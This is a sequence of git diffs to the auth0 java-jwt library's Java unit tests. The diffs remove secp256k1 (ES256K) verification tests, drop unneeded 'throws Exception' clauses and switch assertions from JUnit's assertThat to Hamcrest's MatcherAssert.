-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
-                , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        when(provider.getPublicKeyById("my-key-id")).thenReturn((ECPublicKey) publicKey);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPublicKeyById("my-key-id")).thenReturn(null);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWithInvalidPublicKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenUsingPrivateKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        Algorithm algorithm = Algorithm.ECDSA256K(null, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignatureLength() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalArgumentException.class));
-        exception.expectCause(hasMessage(is("Last unit does not have enough valid bits")));
-        
-        String jwt = ES256K_JWT.substring(0,ES256K_JWT.length()-1);
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        bytes[0] = 0x30;
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
+
     @Test
     public void shouldPassECDSA384VerificationWithJOSESignature() throws Exception {
         String jwt = "eyJhbGciOiJFUzM4NCJ9.eyJpc3MiOiJhdXRoMCJ9.50UU5VKNdF1wfykY8jQBKpvuHZoe6IZBJm5NvoB8bR-hnRg6ti-CHbmvoRtlLfnHfwITa_8cJMy6TenMC2g63GQHytc8rYoXqbwtS4R0Ko_AXbLFUmfxnGnMC6v4MS_z";
@@ -348,7 +236,7 @@ public void shouldPassECDSA384VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA384VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA384VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA384withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -473,7 +361,7 @@ public void shouldPassECDSA512VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA512VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA512VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA512withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -692,7 +580,7 @@ public void shouldDoECDSA256SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -750,7 +638,7 @@ public void shouldDoECDSA384SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA384withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -811,7 +699,7 @@ public void shouldDoECDSA512SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA512withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -886,7 +774,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Exception {
+    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
@@ -896,7 +784,7 @@ public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Ex
     }
 
     @Test
-    public void shouldReturnSigningKeyIdFromProvider() throws Exception {
+    public void shouldReturnSigningKeyIdFromProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         when(provider.getPrivateKeyId()).thenReturn("keyId");
         Algorithm algorithm = new ECDSAAlgorithm("some-alg", "some-algorithm", 32, provider);
@@ -1152,10 +1040,10 @@ public void shouldDecodeECDSA512DER() throws Exception {
 
     //Test Helpers
     static void assertValidJOSESignature(byte[] joseSignature, int numberSize, boolean withRPadding, boolean withSPadding) {
-        Assert.assertThat(joseSignature, is(Matchers.notNullValue()));
-        Assert.assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+        assertThat(joseSignature, is(Matchers.notNullValue()));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
 
-        Assert.assertThat(joseSignature.length, is(numberSize * 2));
+        assertThat(joseSignature.length, is(numberSize * 2));
 
         byte[] rCopy = Arrays.copyOfRange(joseSignature, 0, numberSize);
         byte[] sCopy = Arrays.copyOfRange(joseSignature, numberSize, numberSize * 2);
@@ -1170,12 +1058,12 @@ static void assertValidJOSESignature(byte[] joseSignature, int numberSize, boole
         if (withSPadding) {
             sNumber[0] = (byte) 0;
         }
-        Assert.assertThat(Arrays.equals(rNumber, rCopy), is(true));
-        Assert.assertThat(Arrays.equals(sNumber, sCopy), is(true));
+        assertThat(Arrays.equals(rNumber, rCopy), is(true));
+        assertThat(Arrays.equals(sNumber, sCopy), is(true));
     }
 
     static byte[] createDERSignature(int numberSize, boolean withRPadding, boolean withSPadding) {
-        Assert.assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
 
         int rLength = withRPadding ? numberSize - 1 : numberSize;
         int sLength = withSPadding ? numberSize - 1 : numberSize;
@@ -1218,7 +1106,7 @@ static byte[] createDERSignature(int numberSize, boolean withRPadding, boolean w
     }
 
     static byte[] createJOSESignature(int numberSize, boolean withRPadding, boolean withSPadding) {
-        Assert.assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
 
         byte[] rNumber = new byte[numberSize];
         byte[] sNumber = new byte[numberSize];
@@ -1237,43 +1125,43 @@ static byte[] createJOSESignature(int numberSize, boolean withRPadding, boolean
     }
 
     static void assertValidDERSignature(byte[] derSignature, int numberSize, boolean withRPadding, boolean withSPadding) {
-        Assert.assertThat(derSignature, is(Matchers.notNullValue()));
-        Assert.assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+        assertThat(derSignature, is(Matchers.notNullValue()));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
 
         int rLength = withRPadding ? numberSize - 1 : numberSize;
         int sLength = withSPadding ? numberSize - 1 : numberSize;
         int totalLength = 2 + (2 + rLength) + (2 + sLength);
         int offset = 0;
 
         //Start sequence
-        Assert.assertThat(derSignature[offset++], is((byte) 0x30));
+        assertThat(derSignature[offset++], is((byte) 0x30));
         if (totalLength > 0x7f) {
             //Add sign before sequence length
             totalLength++;
-            Assert.assertThat(derSignature[offset++], is((byte) 0x81));
+            assertThat(derSignature[offset++], is((byte) 0x81));
         }
         //Sequence length
-        Assert.assertThat(derSignature[offset++], is((byte) (totalLength - offset)));
+        assertThat(derSignature[offset++], is((byte) (totalLength - offset)));
 
         //R number
-        Assert.assertThat(derSignature[offset++], is((byte) 0x02));
-        Assert.assertThat(derSignature[offset++], is((byte) rLength));
+        assertThat(derSignature[offset++], is((byte) 0x02));
+        assertThat(derSignature[offset++], is((byte) rLength));
         byte[] rCopy = Arrays.copyOfRange(derSignature, offset, offset + rLength);
         offset += rLength;
 
         //S number
-        Assert.assertThat(derSignature[offset++], is((byte) 0x02));
-        Assert.assertThat(derSignature[offset++], is((byte) sLength));
+        assertThat(derSignature[offset++], is((byte) 0x02));
+        assertThat(derSignature[offset++], is((byte) sLength));
         byte[] sCopy = Arrays.copyOfRange(derSignature, offset, offset + sLength);
 
 
         byte[] rNumber = new byte[rLength];
         byte[] sNumber = new byte[sLength];
         Arrays.fill(rNumber, (byte) 0x11);
         Arrays.fill(sNumber, (byte) 0x22);
-        Assert.assertThat(Arrays.equals(rNumber, rCopy), is(true));
-        Assert.assertThat(Arrays.equals(sNumber, sCopy), is(true));
-        Assert.assertThat(derSignature.length, is(totalLength));
+        assertThat(Arrays.equals(rNumber, rCopy), is(true));
+        assertThat(Arrays.equals(sNumber, sCopy), is(true));
+        assertThat(derSignature.length, is(totalLength));
     }
 
     @Test
@@ -1313,7 +1201,7 @@ public void shouldBeEqualSignatureMethodDecodeResults() throws Exception {
      */
 
     @Test
-    public void shouldFailOnECDSA256SigningWithDeprecatedMethodWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA256SigningWithDeprecatedMethodWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -1335,15 +1223,12 @@ public void invalidECDSA256SignatureShouldFailTokenVerification() throws Excepti
         ECKey key256 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
         ECKey key384 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
         ECKey key512 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
-        ECKey key256k = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
         JWTVerifier verifier256 = JWT.require(Algorithm.ECDSA256(key256)).build();
         JWTVerifier verifier384 = JWT.require(Algorithm.ECDSA256(key384)).build();
         JWTVerifier verifier512 = JWT.require(Algorithm.ECDSA256(key512)).build();
-        JWTVerifier verifier256k = JWT.require(Algorithm.ECDSA256(key256k)).build();
         verifier256.verify(jwtWithInvalidSig);
         verifier384.verify(jwtWithInvalidSig);
         verifier512.verify(jwtWithInvalidSig);
-        verifier256k.verify(jwtWithInvalidSig);
     }
 
     @Test
@@ -1356,15 +1241,12 @@ public void emptyECDSA256SignatureShouldFailTokenVerification() throws Exception
         ECKey key256 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
         ECKey key384 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
         ECKey key512 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
-        ECKey key256k = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
         JWTVerifier verifier256 = JWT.require(Algorithm.ECDSA256(key256)).build();
         JWTVerifier verifier384 = JWT.require(Algorithm.ECDSA256(key384)).build();
         JWTVerifier verifier512 = JWT.require(Algorithm.ECDSA256(key512)).build();
-        JWTVerifier verifier256k = JWT.require(Algorithm.ECDSA256(key256k)).build();
         verifier256.verify(jwtWithInvalidSig);
         verifier384.verify(jwtWithInvalidSig);
         verifier512.verify(jwtWithInvalidSig);
-        verifier256k.verify(jwtWithInvalidSig);
     }
 
     @Testu}(jG  (3925eef3defd98e898bf7459ec6f860f020531f4j  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj  modifiedj  Kj  K|j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  XZ0  @@ -28,19 +28,14 @@
 import static com.auth0.jwt.algorithms.ECDSAAlgorithmTest.*;
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.internal.matchers.ThrowableMessageMatcher.hasMessage;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
 public class ECDSABouncyCastleProviderTests {
-    
-    
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String INVALID_PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public-invalid.pem";
 
     private static final String PRIVATE_KEY_FILE_256 = "src/test/resources/ec256-key-private.pem";
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
@@ -67,127 +62,20 @@ public class ECDSABouncyCastleProviderTests {
     //These tests add and use the BouncyCastle SecurityProvider to handle ECDSA algorithms
 
     @BeforeClass
-    public static void setUp() throws Exception {
+    public static void setUp() {
         //Set BC as the preferred bcProvider
         Security.insertProviderAt(bcProvider, 1);
     }
 
     @AfterClass
-    public static void tearDown() throws Exception {
+    public static void tearDown() {
         Security.removeProvider(bcProvider.getName());
     }
 
     @Test
-    public void shouldPreferBouncyCastleProvider() throws Exception {
+    public void shouldPreferBouncyCastleProvider() {
         assertThat(Security.getProviders()[0], is(equalTo(bcProvider)));
     }
-
-    // Verify
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(SignatureException.class));
-        exception.expectCause(hasMessage(is("Invalid JOSE signature format.")));
-    
-        String jwt = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.MEUCIQDaCA-xzjHBCFhyAm56je5DXgylpUncBsQTxQT7AD19zwIgEjIm3lueII2W4pC_iQR6oRMHNtgqfAzTrWnV7DPNURk";
-        
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
-                , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        when(provider.getPublicKeyById("my-key-id")).thenReturn((ECPublicKey) publicKey);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPublicKeyById("my-key-id")).thenReturn(null);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWithInvalidPublicKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenUsingPrivateKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        Algorithm algorithm = Algorithm.ECDSA256K(null, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignatureLength() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalArgumentException.class));
-        exception.expectCause(hasMessage(is("Last unit does not have enough valid bits")));
-        
-        String jwt = ES256K_JWT.substring(0,ES256K_JWT.length()-1);
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        bytes[0] = 0x30;
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
     
     @Test
     public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {
@@ -240,7 +128,7 @@ public void shouldPassECDSA256VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA256VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA256VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -365,7 +253,7 @@ public void shouldPassECDSA384VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA384VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA384VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA384withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -490,7 +378,7 @@ public void shouldPassECDSA512VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA512VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA512VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA512withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -690,7 +578,7 @@ public void shouldDoECDSA256SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -748,7 +636,7 @@ public void shouldDoECDSA384SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA384withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -807,7 +695,7 @@ public void shouldDoECDSA512SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA512withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -882,7 +770,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Exception {
+    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
@@ -892,7 +780,7 @@ public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Ex
     }
 
     @Test
-    public void shouldReturnSigningKeyIdFromProvider() throws Exception {
+    public void shouldReturnSigningKeyIdFromProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         when(provider.getPrivateKeyId()).thenReturn("keyId");
         Algorithm algorithm = new ECDSAAlgorithm("some-alg", "some-algorithm", 32, provider);u}(jG  (4a0269cc0b920f9fddf8e79be9352ae50a5ecc47j  Alib/src/test/java/com/auth0/jwt/algorithms/HMACAlgorithmTest.javaj  modifiedj  Kj  Kj  K,j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X$  @@ -19,8 +19,8 @@
 import static com.auth0.jwt.algorithms.CryptoTestHelper.assertSignaturePresent;
 import static com.auth0.jwt.algorithms.CryptoTestHelper.assertSignatureValue;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertTrue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.Assert.assertArrayEquals;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.Mockito.mock;
@@ -34,14 +34,14 @@ public class HMACAlgorithmTest {
     // Verify
 
     @Test
-    public void shouldGetStringBytes() throws Exception {
+    public void shouldGetStringBytes() {
         String text = "abcdef123456!@#$%^";
-        byte[] expectedBytes = text.getBytes("UTF-8");
-        assertTrue(Arrays.equals(expectedBytes, HMACAlgorithm.getSecretBytes(text)));
+        byte[] expectedBytes = text.getBytes(StandardCharsets.UTF_8);
+        assertArrayEquals(expectedBytes, HMACAlgorithm.getSecretBytes(text));
     }
 
     @Test
-    public void shouldCopyTheReceivedSecretArray() throws Exception {
+    public void shouldCopyTheReceivedSecretArray() {
         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         byte[] secretArray = "secret".getBytes(Charset.defaultCharset());
         Algorithm algorithmString = Algorithm.HMAC256(secretArray);
@@ -53,7 +53,7 @@ public void shouldCopyTheReceivedSecretArray() throws Exception {
     }
 
     @Test
-    public void shouldPassHMAC256Verification() throws Exception {
+    public void shouldPassHMAC256Verification() {
